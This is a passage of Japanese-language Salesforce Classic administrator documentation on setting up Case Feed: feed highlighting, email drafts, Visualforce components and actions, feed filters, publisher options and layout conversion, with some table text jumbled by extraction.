• ケースの取引先責任者のメールアドレスとの間で送受信された公開メール
• 公開ケースコメント
• すべてのソーシャル投稿 (Facebook 投稿など)

• コミュニティからエスカレーションされた質問
• [アクセス権があるすべてのユーザ] または [公開] が設定された ToDo

• [アクセス権があるすべてのユーザ] または [公開] が設定された行動
• [アクセス権があるすべてのユーザ] または [公開] が設定された Chatter 投稿
[外部から参照可能なフィード項目を強調表示]のみが有効になっている場合、次のフィード項目がケースフィー
ドで強調表示されます。
• ケースの取引先責任者のメールアドレスとの間で送受信された受信メールと送信メール
[コミュニティケースフィードを有効化] のみが有効になっている場合、フィード項目は強調表示されません。
この設定は、コンパクトフィードでのみ使用できます。

1. オレンジ色で強調表示されたフィード項目は、顧客などの外部ユーザに表示されます。
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2. 強調表示されていないフィード項目は、サポートエージェントなどの内部ユーザにのみ表示されます。
1. [外部から参照可能なフィード項目を強調表示] 設定を有効にします。

a. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
b. 編集するフィードベースのページレイアウトを選択し、[編集] をクリックします。
c. [フィードビュー] 設定までスクロールし、[外部から参照可能なフィード項目を強調表示]を選択します。

2. [コミュニティケースフィードを有効化] 設定を有効にします。
a. ケースのオブジェクト管理設定から、[サポート設定] に移動します。
b. [コミュニティケースフィードを有効化] を選択します。

ケースフィードのメールドラフトの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

サポート設定を変更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

ドラフトメールでは、ケースフィードを使用するサポートエージェントは、メッ
セージを作成し、すぐに送信せずに保存することができます。このオプション
により承認プロセスを実装することもできるため、スーパーバイザーやシニア
エージェントがメッセージをレビューしてから顧客に送信することができます。
メールドラフトを有効化する前に、メール-to-ケースおよびケースフィードを設
定します。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. [編集] をクリックします。
3. [メールドラフトを有効化] を選択します。
4. [保存] をクリックします。

メモ: メッセージがドラフトとして保存される場合、[メール] アクションの
[宛先]、[差出人]、CC、BCC、[件名]以外の項目への変更は保存されませ
ん。ドラフトメールを使用する予定の場合は、[メール] アクションから追
加の項目を削除することをお勧めします。

関連トピック:

Salesforce Classic でのケースの設定
メールドラフトの承認プロセスの作成
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ケースフィードへのカスタムコンポーネントの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースフィード設定を変
更する
• 「ケースの管理」

および

「アプリケーションの
カスタマイズ」

サポートエージェントがケースの操作時に特殊なツールや機能に容易にアクセ
スできるようにするには、Visualforceページをケースフィードのカスタムコンポー
ネントとして使用します。
たとえば、対応付けコンポーネントを作成すると、そのコンポーネントを使用
してエージェントが顧客の所在地を確認したり、ツールエージェントが作業中
のケースに関連する商品を検索したりできます。標準ケースコントローラを含
む Visualforce ページは、カスタムコンポーネントとして使用できます。
カスタムコンポーネントとして使用する Visualforceページを作成したら、ケース
フィードレイアウトにそれを追加します。
1. [ケースフィードの設定] ページへのアクセス方法は、使用しているページレ

イアウトの種類に応じて異なります。
• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をク

リックし、ページレイアウトエディタで [フィードビュー] をクリックし
ます。

• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場
合、 をクリックし、[フィードビューを編集]を選択します (このセク
ションは、Spring '14 より前に作成された組織にのみ表示されます)。

2. [その他のツールおよびコンポーネント] セクションで、[+ Visualforce ページ
を追加] をクリックし、目的のページを選択します。
コンポーネントの幅は、そのコンポーネントが含まれている列の幅によって決まります。コンポーネント
の外観を最適にするには、Visualforce ページの幅を 100% に設定することをお勧めします。

3. コンポーネントの高さを設定します。
4. ページ上のコンポーネントを表示する場所を選択します。

ヒント: 右列のコンポーネントは、エージェントがケースの詳細ページを表示すると非表示になるた
め、常時アクセス可能にするコンポーネントには左列を使用してください。

関連トピック:

Salesforce Classic でのケースの設定
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ケースフィードへのカスタムアクションの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースフィードにカスタ
ムアクションを追加する
• 「アプリケーションの

カスタマイズ」

サポートエージェントがケースの操作時に必要な追加のツールや機能に容易に
アクセスできるようにするには、ケースフィードパブリッシャーにカスタムア
クションを追加します。
ケースフィードでアクションを使用すると、サポートエージェントは顧客への
メール送信、ケースメモの作成、ケースの状況変更などの作業を実行できます。
Visualforce ページを使用して、エージェントに追加の機能を提供するカスタムア
クションを作成できます。たとえば、対応付けおよびローカル検索アクション
を作成することで、エージェントは顧客の場所を検索して、最寄りのサービス
センターを見つけることができるようになります。
標準ケースコントローラを使用する Visualforceページをカスタムアクションとし
て使用できます。

メモ: 高度なページレイアウトエディタを使用してケースフィードレイア
ウトのパブリッシャーを設定することを選択している場合、アクション追
加の手順は、「高度なページレイアウトエディタを使用したケースフィー
ドパブリッシャーの設定」を参照してください。

1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ケースフィードの設定] ページへのアクセス方法は、使用しているページレイアウトの種類に応じて異な

ります。
• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をクリックし、ページレイアウトエ

ディタで [フィードビュー] をクリックします。
• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場合、 をクリックし、

[フィードビューを編集] を選択します (このセクションは、Spring '14 より前に作成された組織にのみ表
示されます)。

3. カスタムアクションのリストで [+ Visualforce ページを追加] をクリックします。
4. アクションとして追加するページを選択します。
5. アクションの高さ (ピクセル単位) を指定します。
6. [保存] をクリックします。

関連トピック:

Salesforce Classic でのケースの設定
オブジェクト管理設定の検索
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ケースフィードのカスタムフィード条件の作成

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud ライセンス付属)

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを割り
当てる
• 「ユーザの管理」

カスタムフィード条件により、サポートエージェントは自分に最も関連する項
目に集中できます。
1. [設定] から、[クイック検索]ボックスに「ケース」と入力し、[フィード条件]

を選択します。
2. [新規] をクリックします。
3. [フィード条件情報] セクションで、検索条件の表示ラベル、名前、説明を入

力します。
4. [フィード検索条件] セクションで、この条件への入力方法を定義します。OR

関数を使用してさらに絞り込み条件を作成できます。

説明項目

検索条件に含めるフィード種別を指定します。た
とえば、[作成されたレコード] フィード項目種別
には、新規レコードに関するフィード項目が表示
されます。

フィード項目種別

選択されたフィード項目に関連付けられているオ
ブジェクトを指定します。このリストには、ケー

関連オブジェクト

スオブジェクトに関連するすべてのオブジェクト
が含まれます。リスト内のオブジェクトは、組織
の設定方法に応じて異なります。たとえば、[作成
されたレコード] をフィード項目種別として選択
した場合、ケースを関連オブジェクトとして選択
する可能性があります。その場合、この検索条件
では新規ケースが表示されます。

フィード項目の表示に基づいて検索条件にフィー
ド項目を含めるかどうかを指定します。表示は、

表示

関連オブジェクトのセキュリティ設定や共有設定
によって異なります。表示には、[すべてのユー
ザ] または [内部ユーザ] を含めることができます。
たとえば、フィード項目種別として [ケースコメ
ントフィード]、表示として [内部ユーザ] を選択す
るとします。このフィード条件では、内部ユーザ
が作成したケースコメントが表示されます。

5. [保存] をクリックします。
6. カスタムフィード条件を定義したら、ページレイアウトの [フィードビュー] 設定の [フィード条件オプショ

ン] セクションにある選択済み条件のリストに追加します。
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例: 顧客とのやりとりを表示する検索条件を作成する場合、次の条件を使用する「顧客とのやりとり」と
いう名前の検索条件を定義できます。
• 条件 1: 表示が [すべてのユーザ] に設定された [ケースコメント] フィード項目種別
• 条件 2: 表示が [すべてのユーザ] に設定された [メールメッセージ] フィード項目種別
• 条件 3: 表示が [すべてのユーザ] に設定された Chatter 投稿フィード項目種別
エージェントがこの検索条件を適用すると、ケースフィードには、外部ユーザと内部ユーザの両方に表
示される [ケースコメント]、[メールメッセージ]、および Chatter フィード項目のみが表示されます。それ
以外はすべて除外されます。

関連トピック:

ケースフィードのフィードレイアウトの作成と編集
ケースフィードのフィードビューの設定

ケースフィードページレイアウトの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サポートエージェントがケースフィードのケースを操作する場合、ケースペー
ジレイアウトを使用します。サポートエージェントがオープンケースを操作し
ているときに表示される項目、ツール、および機能を指定するには、ケースペー
ジのフィードビュー、詳細ビュー、強調表示パネルをカスタマイズします。エー
ジェントがケースをクローズするときは、エージェントがケースの解決に関す
る情報を入力できるクローズケースページレイアウトが表示されます。クロー
ズケースページレイアウトをカスタマイズすることもできます。
ケースフィードのケースページレイアウトのさまざまな部分をカスタマイズで
きます。
• フィードおよびケースの詳細ページの最上部に表示される強調表示パネル。

強調表示パネルには、ケースに関する重要情報が表示されるため、エージェントは最も重要な情報をすば
やく参照できます。

• ケースの管理および操作時にエージェントに表示されるフィードビュー。フィードビューには、Chatter の
ようなフィードでケース履歴が表示されるため、エージェントはコンテキストを把握した状態でケースで
何が起きたのかを確認できます。

• エージェントが [ケースの詳細を参照] をクリックすると表示される詳細ビュー。詳細ビューには、取引先
責任者の会社の説明、取引先の住所、および関連リストなどのケースに関する有益な情報が表示されます。

ケースフィードのクローズケースページレイアウトをカスタマイズすることもできます。
• エージェントがケースをクローズすると表示されるクローズケースページ。クローズケースページでは、

エージェントはケースの解決に関する情報を入力できます。
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ケースのオブジェクト管理設定から、[ページレイアウト] に移動し、4 種類すべてのレイアウトを作成、編集、
および割り当てることができます。

関連トピック:

ケースフィードのフィードレイアウトの作成と編集
高度なページレイアウトエディタを使用したケースフィードパブリッシャーの設定
ケースフィードの強調表示パネルのカスタマイズ
オブジェクト管理設定の検索

ケースフィードの強調表示パネルのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを割り
当てる
• 「ユーザの管理」

強調表示パネルはフィードの詳細ビューの最上部に表示されます。このパネル
には、ケースに関する最も重要な情報が表示されます。強調表示パネルを編集
して、サポートエージェントの非常に重要な項目を含めることができます。
1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. ケースフィードユーザのページレイアウトで、レイアウトの横にある

をクリックして [詳細ビューを編集] を選択します。
3. 強調表示パネルにマウスポインタを置くと、 アイコンが表示されるので

クリックします。
4. [強調表示パネルのプロパティ] ページで、編集する項目のボックスをクリッ

クします。
5. ドロップダウンリストを使用して、各項目に含める情報の種別を選択しま

す。項目を空白のままにしておく場合は、[なし] を選択します。[ケース番
号] と [作成日] は、移動および削除はできません。

6. [OK] をクリックします。

関連トピック:

Salesforce Classic でのケースの設定
オブジェクト管理設定の検索
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ケースフィードのフィードレイアウトの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを割り
当てる
• 「ユーザの管理」

フィードビューのページレイアウトでは、ケースフィードでユーザがケースを
使用するときに表示されるアクション、項目、ツールを決定します。さまざま
なレイアウトを作成して、異なるユーザプロファイルに割り当てることができ
ます。たとえば、エージェントとスーパーバイザーに異なるレイアウトを設定
できます。

メモ: フィードビューのページレイアウトを新規作成する前に、ケースの
詳細ページのページレイアウトを新規作成する必要があります。

1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ケースフィードの設定] ページへのアクセス方法は、使用しているページレ

イアウトの種類に応じて異なります。
• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をク

リックし、ページレイアウトエディタで [フィードビュー] をクリックし
ます。

• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場
合、 をクリックし、[フィードビューを編集]を選択します (このセク
ションは、Spring '14 より前に作成された組織にのみ表示されます)。

高度なページレイアウトエディタを使用してレイアウトのパブリッシャーを
設定することをすでに選択している場合、[詳細ビューを編集]を選択してア
クションを追加、変更、または削除します。

3. フィードビューページのツール、コンポーネント、およびオプションを選択します。
4. [保存] をクリックします。
作成または編集したフィードビューのページレイアウトをプロファイルに割り当てます。

関連トピック:

ケースフィードページレイアウトの概要
高度なページレイアウトエディタを使用したケースフィードパブリッシャーの設定
オブジェクト管理設定の検索

ケースフィードのフィードビューの設定
ケースフィード設定を使用して、サポート部門のプロセスおよびビジネスニーズに合わせて機能をカスタマイ
ズします。
ケースフィードのフィードビューを作成または更新する場合、次の設定が適用されます。
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フィードビューオプション

メモ用途オプション

この設定を有効にしたときにフィードが占
めるページ内の領域は、ツールやコンポー

Salesforce コンソールのタブやサブタ
ブでエージェントがケースを参照

コンソールで全体の幅の
フィードを有効化

ネントをケースフィードレイアウトの適切するときに、フィードの幅を最大
まで拡張する。 な列に配置しているかどうか、およびコン

ソールサイドバーコンポーネントがあるか
どうかによって異なります。
この設定は、Summer '14 後に作成された組織
では自動的に有効になっています。

コンパクトフィードを使用すると、エージェ
ントは、標準フィードビューでケースを処

エージェントが Salesforce コンソー
ルのタブやサブタブでケースを表

コンソールでコンパクト
フィードビューを有効化

理するときよりも少ないスクロール操作で示するときに、フィードビューの
ケースに関するより多くの情報を表示でき
ます。
このオプションは、[パブリッシャーのアク
ション] と [ページレイアウトエディタを使

全体的なデザインを更新したり、
フィード項目を圧縮したりする。

用してアクションを設定]が有効になってい
る場合にのみ使用できます。

このオプションは、コンパクトフィードで
のみ使用できます。

フィード項目の背景色をオレンジ
色に変更して、外部ユーザに表示
されるフィード項目を示す。

外部から参照可能なフィー
ド項目を強調表示

この設定と [コミュニティケースフィードを
有効化] 設定の両方が有効になっている場
合、次のフィード項目がケースフィードで
強調表示されます。
• ケースの取引先責任者のメールアドレス

との間で送受信された公開メール
• 公開ケースコメント
• すべてのソーシャル投稿
• コミュニティからエスカレーションされ

た質問
• [アクセス権があるすべてのユーザ]/[公

開] が設定された ToDo

• [アクセス権があるすべてのユーザ]/[公
開] が設定された行動

• [アクセス権があるすべてのユーザ]/[公
開] が設定された Chatter 投稿
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メモ用途オプション

「コミュニティケースフィードの設定」も
参照してください。

パブリッシャーオプション

メモ用途オプション

この設定は、組織で [パブリッシャーのアク
ション] が有効になっている場合にのみ表
示されます。

ケースフィードパブリッシャーに表
示されるアクションを選択するとき
に高度なページレイアウトエディタ
がデフォルトで使用されるようにす
る。

ページレイアウトエディタ
を使用してアクションを設
定

この設定は、Summer '14 後に作成された組織
では自動的に有効になっています。また、

パブリッシャーが使用されていない
ときに自動的にその高さを縮小し

パブリッシャーを自動的に
折りたたむ

[パブリッシャーのアクション]と [ページレて、下のフィードの表示領域を広げ
る。エージェントがパブリッシャー イアウトエディタを使用してアクションを設
の内部をクリックすると、すぐに通
常の高さに展開されます。

定] が有効になっている場合にのみ使用で
きます。

アクションの選択および設定

メモ用途オプション

この設定は、[ページレイアウトエディ
タを使用してアクションを設定] を選択
していない場合にのみ表示されます。

パブリッシャーメニューを中央列と左
列のどちらに表示するかを選択する。

メニューの配置

この設定は、[ページレイアウトエディ
タを使用してアクションを設定] を選択
していない場合にのみ表示されます。

アクションとしてパブリッシャーに追
加するカスタム Visualforce ページを選択
する (最大 10 個)。ページでは、標準ケー
スコントローラを使用する必要があり
ます。

カスタムアクション

この設定は、[ページレイアウトエディ
タを使用してアクションを設定] を選択
していない場合にのみ表示されます。

ケースフィードパブリッシャーに追加
するアクション、およびアクションが
表示される順序を選択する。

アクションを選択
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[活動の記録] アクション

メモ用途オプション

[活動の記録] には、[顧客名] 項目が自
動的に追加されます。
ケースフィードのアクションにリッチ
テキストエリア項目を含めることはで
きません。

[活動の記録] アクションに追加する項目
を選択する。

アクション項目を選択

[状況の変更] アクション

メモ用途オプション

[状況の変更] アクションには、[現在の
状況] および [変更後] 項目が自動的に

[状況の変更] アクションに追加する項目
を選択する。

アクション項目を選択

追加されます。[状況] 項目をアクショ
ンに追加した場合、上記の 2 つの項目は
その項目で自動的に置き換えられます。
ケースフィードのアクションにリッチ
テキストエリア項目を含めることはで
きません。

[メール] アクション

メモ用途オプション

追加した項目は、アクションのメール
本文項目の下に表示されます。
ケースフィードのアクションにリッチ
テキストエリア項目を含めることはで
きません。

[メール] アクションに追加する項目を選
択する。

アクション項目を選択

メールヘッダーには、[差出人]、[宛
先]、[Bcc]、[件名]項目が自動的に追
加されます。

[メール] アクションのヘッダーに追加す
る項目を選択する。

ヘッダー項目を選択

[テンプレート]、[添付ファイル]、およ
び [アドレスルックアップボタン] ツール
は自動的に追加されます。

エージェントが [メール] アクションを使
用するときに利用できるツールを選択
する。

メールツールを選択

エージェントは、エディタのメニュー
バーにある をクリックして、テキ

エージェントがリッチテキストエディ
タを使用できるようにして、太字テキ
スト、下線テキスト、箇条書き、番号

リッチテキストエディタを
有効化
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メモ用途オプション

スト形式モードに切り替えることがで
きます。

付き箇条書き、リンク、インライン画
像などの書式設定をメールメッセージ
に追加できるようにする。

この設定により、エージェントはプレー
ンテキストメッセージではなく、書式

エージェントがメールを作成するとき
にテキスト形式モードに切り替えられ
ないようにする。

リッチテキストエディタの
使用を要求

設定されたメールのみを作成して送信
するようになります。

複数のアドレスを使用する場合は、カ
ンマで区切ります。これらのメールア

特定のメールアドレスを [差出人]項目
に自動的に追加する。

送信元アドレスを指定

ドレスは、[メール] アクションヘッダー
の選択リストとして表示されます。
使用できるのは、Salesforceで送信元アド
レスとして検証されたメールアドレス
のみです。

エージェントがメール本文を展開する
と、エージェントが他のアクションや

エージェントがメール本文項目内をク
リックするまでメール本文項目を自動

折りたたみ可能な本文項目
を許可

ページの別の場所をクリックしても、的に折りたたむ。デフォルトで本文を
ページが再読み込みされるまでメール
本文は展開されたままになります。

折りたたむことで、ページの [メール] ア
クションの下の表示領域が広がり、エー
ジェントは多くの情報を簡単に確認で
きるようになります。

この設定を有効にすると、エージェン
トは作業中に必要に応じてヘッダーを
展開したり、折りたたんだりできます。

エージェントが をクリックして展
開するまでメールヘッダーを自動的に
折りたたむ。

折りたたみ可能なメール
ヘッダーを許可

これにより、スレッド内の以前のメー
ルが送信メールメッセージに取り込ま
れなくなります。

フィードでメールを作成するときにス
レッド内の以前のメールを除外する。

メールスレッドをドラフト
から除外

コンテンツソースとして Sコントロール
を持つボタンを除き、ケース用に作成
したケースボタンを使用できます。

標準の [メールを送信] ボタンを置き換
えるボタンを選択する。これは、ボタ
ンに別のラベルを付けたり、外観を変
更したり、カスタム機能 (エージェント

[メールを送信] ボタンを
置換

がメッセージを送信したときにワーク
フローをトリガするなど) を追加したり
する場合に便利です。
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ケースフィードツール

メモ用途オプション

記事ツールは、デフォルトで追加され
ていますが、組織で Salesforce ナレッジ

エージェントがケースフィードを使用
するときに利用できるツールを選択す
る。

ケースフィードツールを選
択

を使用するまでケースフィードページ
には表示されません。

記事ツール

メモ用途オプション

この設定は、組織で Salesforce ナレッジ
を使用している場合にのみ表示されま

エージェントがナレッジ記事を PDF とし
てメールメッセージに添付できるよう
にする。

PDF ファイルの添付を有効
化

す。ナレッジを使用していても、この
設定を有効にしていない場合、エージェ
ントは記事をケースにしか添付できず、
メールメッセージに添付することはで
きません。

この設定は、組織で Salesforce ナレッジ
を使用している場合にのみ表示されま

Salesforce コンソールのナレッジサイド
バーをケースフィード記事ツールに置
き換える。

コンソールでケースフィー
ド記事ツールを使用

す。ナレッジを使用しているが、この
設定を有効にしていない場合、Salesforce

コンソールのケースフィード記事ツー
ルまたはナレッジサイドバーのいずれ
かを非表示にして、エージェントがコ
ンソールでケースを操作するときにい
ずれかのツールのみが表示されるよう
にすることをお勧めします。

その他のツールおよびコンポーネント

メモ用途オプション

Visualforce ページを追加したら、その高
さを指定して、ページのどこに表示す
るか選択できます。

コンポーネントとして追加するカスタ
ム Visualforce ページを選択する (最大 10

個)。標準ケースコントローラを使用す
る Visualforce ページは、カスタムコン
ポーネントとして使用できます。

カスタムコンポーネント

カスタムリンクとカスタムボタンは、
関連ケースの詳細ページレイアウトに

ツールやコンポーネント (カスタムボタ
ン、カスタムリンク、[フォローされて

配置を選択

追加した場合にのみ、フィードビューいる人] リストなど) をページのどこに表
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メモ用途オプション

示するか指定する。エージェントが利
用する必要のない要素は、非表示にす
ることもできます。

のページレイアウトの右サイドバーコ
ンポーネントとして使用できます。
マイルストントラッカーは、組織でエ
ンタイトルメント管理を有効にしてい
る場合にのみ使用できます。
[トピック] リストは、ケースのトピック
を有効化している場合にのみ使用でき
ます。

検索条件オプション

メモ用途オプション

ページをスクロールダウンしてもフィー
ド条件リストが常に表示されるように

フィード条件の表示場所および表示方
法を指定する。

条件の表示

する場合、[左列にフロート表示リスト• 左列に固定リストとして表示
として表示] を選択します。これは、長

• 左列にフロート表示リストとして表
示 いフィードを使用する場合に役立ち、

エージェントがページトップまでスク
• 中央列にドロップダウンリストとし

て表示
ロールする必要なくページのどこから
でもケースの活動を迅速に絞り込むこ
とができます。

エージェントが最も頻繁に使用すると
思われる条件をリストの上部に配置す
ることをお勧めします。

フィード条件リストに追加する条件を
選択し、リストの順序を指定する。

条件を選択

関連トピック:

高度なページレイアウトエディタを使用したケースフィードパブリッシャーの設定
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ケースフィードへの添付ファイルコンポーネントの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを割り
当てる
• 「ユーザの管理」

ケースフィードページに添付ファイルコンポーネントを追加して、サポートエー
ジェントがケースに関連付けられたすべてのファイルをすばやく表示および管
理できるようにします。
顧客を支援しているときのサポートエージェントにとって、ケースに関連付け
られたすべてのファイルにアクセスできることは重要です。添付ファイルコン
ポーネントを使用すると、エージェントは、Chatter ファイル、メールからの添
付ファイル、およびケースのケース添付ファイル関連リストファイルのすべて
を、ケースフィードページから一元的に表示および管理できます。添付ファイ
ルコンポーネントを使用すると、エージェントはファイルをすばやくメールに
添付したり、ファイルをダウンロードしたりできます。
エージェントは、すべてのソースからケースの最新添付ファイルを表示するか、
ケースに関連付けられたすべてのファイルを作成日順に並び替えて表示するか
を切り替えることができます。
1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ケースフィードの設定] ページへのアクセス方法は、使用しているページレ

イアウトの種類に応じて異なります。
• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をク

リックし、ページレイアウトエディタで [フィードビュー] をクリックし
ます。

• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場
合、 をクリックし、[フィードビューを編集]を選択します (このセク
ションは、Spring '14 より前に作成された組織にのみ表示されます)。

3. [その他のツールおよびコンポーネント] セクションで、[ファイル]を選択し、ページのどこに表示するかを
指定します。

4. [保存] をクリックします。
<support:caseUnifiedFiles> コンポーネントを Visualforce ページに含めることで添付ファイルコンポーネ
ントをカスタムページに追加するか、添付ファイルコンポーネントをSalesforce コンソールコンポーネントとし
て追加すると、ケースフィードページの領域を占有することなく、エージェントが添付ファイルコンポーネン
トを使用できます。

関連トピック:

オブジェクト管理設定の検索
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高度なページレイアウトエディタを使用したケースフィードパブリッシャーの
設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースフィードパブリッ
シャーを設定する
• 「アプリケーションの

カスタマイズ」

組織でパブリッシャーのアクション機能を使用している場合、高度なページレ
イアウトエディタを使用してケースフィードパブリッシャーに表示されるアク
ションを選択できます。

メモ: ケースフィードを使用する新しい Salesforce 組織および Summer' 13 リ
リース後にケースフィードを有効化する組織については、デフォルトでこ
のオプションが選択されます。

1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ケースフィードの設定] ページへのアクセス方法は、使用しているページレ

イアウトの種類に応じて異なります。
• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をク

リックし、ページレイアウトエディタで [フィードビュー] をクリックし
ます。

• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場
合、 をクリックし、[フィードビューを編集]を選択します (このセク
ションは、Spring '14 より前に作成された組織にのみ表示されます)。

3. [ページレイアウトエディタを使用してアクションを設定] を選択します。
4. [保存]をクリックします。
5. ページレイアウトエディタにアクセスする手順は、次のとおりです。

• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をクリックします。
• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場合、 をクリックし、[詳

細ビューを編集] を選択します (このセクションは、Spring '14 より前に作成された組織にのみ表示されま
す)。

6. ページレイアウトエディタの [Salesforce Classic のパブリッシャーのクイックアクション] セクションで、
をクリックします。

7. パレットで、[クイックアクション] をクリックします。
8. 必要なアクションを [Salesforce Classic のパブリッシャーのクイックアクション] セクションにドラッグしま

す。アクションをドラッグして表示される順序を変更したり、必要のないアクションをセクション外にド
ラッグして削除したりできます。
ケースフィードページのパブリッシャーに表示されるアクションは約 5 ～ 6 個で、残りは [さらに表示] ド
ロップダウンリストに含まれます。

9. [保存] をクリックします。
従来の [ケースフィードの設定] ページを使用したパブリッシャーの設定と、高度なページレイアウトエディタ
に切り替えた後には次の違いがあります。
• アクションリストがパブリッシャーの上部に表示されます。パブリッシャーの左にアクションリストを表

示することはできません。
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• [顧客への回答] アクションは、[メール] と [ポータル] という 2 種類のコンポーネントアクションに分けられ
ます。

• アクションリストの外観が、他のページの Chatter パブリッシャーに近くなります。
• [ケースのメモを記入] アクションの代わりに、標準 Chatter アクション ([投稿]、[ファイル]、[リンク]、[アン

ケート]、[質問]、[感謝]) が自動的にパブリッシャーレイアウトに表示されます。これらのアクションの順
序は変更でき、不要なものは削除できます。

• [ケースの詳細を参照] アクションの代わりに [フィードビュー/詳細] ドロップダウンリストが表示されます。
• ケースフィードパブリッシャーに過去に追加したカスタムアクションは使用できません。新しいカスタム

アクションを作成して、パブリッシャーに追加してください。これらの新しいアクションでは、
interaction.js ではなく、publisher.js を使用する必要があります。

• ケースの詳細ページが最大幅まで拡大され、すべての関連リストとその他の情報が見やすくなります。

関連トピック:

ケースフィードページレイアウトの概要
ケースフィードのフィードレイアウトの作成と編集
オブジェクト管理設定の検索

ケースフィードユーザのページレイアウトのケースページレイアウトへの変換

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを割り
当てる
• 「ユーザの管理」

Spring '14 では、ケースレイアウトの作成とカスタマイズを容易にするために、
ケースフィードユーザのページレイアウトがフィードベースのケースページレ
イアウトに置き換えられました。古いページレイアウトを変換することで、高
度なページレイアウトエディタを使用してページレイアウトを管理し、ケース
フィードをより簡単にユーザに割り当てることができます。

メモ: ケースフィードユーザのページレイアウトは、Spring '14 より前に作成
された組織でのみ使用できます。

フィードベースのケースレイアウトには、ケースフィードユーザのページレイ
アウトと同じ機能、つまり、フィード (アクションを含むパブリッシャー、フィー
ド条件、記事ツールなどのツール、カスタムボタンやリンクなどのサイドバー
コンポーネントを含む)、強調表示パネル、詳細ページ (関連リストとケースに関
するその他の詳細な情報を含む) が含まれます。標準のページレイアウト割り当
てツールを使用して、フィードベースのケースページレイアウトをユーザに割
り当てることができます。これにより、ユーザにケースフィードへのアクセス
権を付与するために権限セットやカスタムプロファイルを使用する必要がなく
なります。
ケースフィードユーザのページレイアウトをフィードベースのケースレイアウ
トに変換する手順は、次のとおりです。
1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ケースフィードユーザのページレイアウト] リストで、レイアウトの横にある をクリックして [ケー

スページレイアウトに変換] を選択します。
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元のレイアウトを削除する前に変換されたレイアウトを確認できるように、このオプションを使用するこ
とをお勧めします。ただし、時間を節約する場合は、[ページレイアウトに変換して削除]を選択できます。

3. 変換されたレイアウトが [変換済み:] というプレフィックス付きで [ケースページレイアウト] リストに表示
されます。その横にある [編集] をクリックします。

4. ページレイアウトエディタで、必要な要素がレイアウトに含まれていることを確認します。フィード条件
やサイドバーコンポーネントなど、フィードビューに含まれている要素を表示して編集するには、[フィー
ドビュー] をクリックします。

5. ケースページレイアウトに問題がなければ、[ケースページレイアウト] リストで [ページレイアウトの割り
当て] をクリックして、該当するユーザプロファイルに割り当てます。

メモ: 「ケースフィードを使用」権限を持つカスタムプロファイル、または「ケースフィードを使用」
を含む権限セットを持つプロファイルの場合、これらのページ割り当ては、権限または権限セットを
削除するまで有効になりません。Winter '14 から Spring '14 までの間に作成された組織の場合、標準プロ
ファイルから [ケースフィードを使用] を削除できないため、これらの割り当ては、ケースフィード
ユーザのページレイアウトをすべて削除するまで有効になりません。

6. [ケースフィードユーザのページレイアウト] リストで、古いバージョンのレイアウトの横にある をク
リックして [削除] を選択します。確認が表示されたら、[OK] をクリックします。

7. 削除するレイアウトにユーザが割り当てられている場合、置き換えとして別のレイアウトを選択するよう
に要求されます。これは形式的なもので、ユーザをケースページレイアウトに割り当てれば、ユーザには
そのレイアウトが表示されます。

ケースフィードユーザのレイアウトが複数ある場合、それらすべてを同時に変換して削除することをお勧めし
ます。最後の古いレイアウトを削除すると、[ケースフィードユーザのページレイアウト] リストが表示されな
くなります。

関連トピック:

ケースフィードのフィードレイアウトの作成と編集
高度なページレイアウトエディタを使用したケースフィードパブリッシャーの設定
ページレイアウトのカスタマイズまたはレコードタイプページからのページレイアウトの割り当て
オブジェクト管理設定の検索
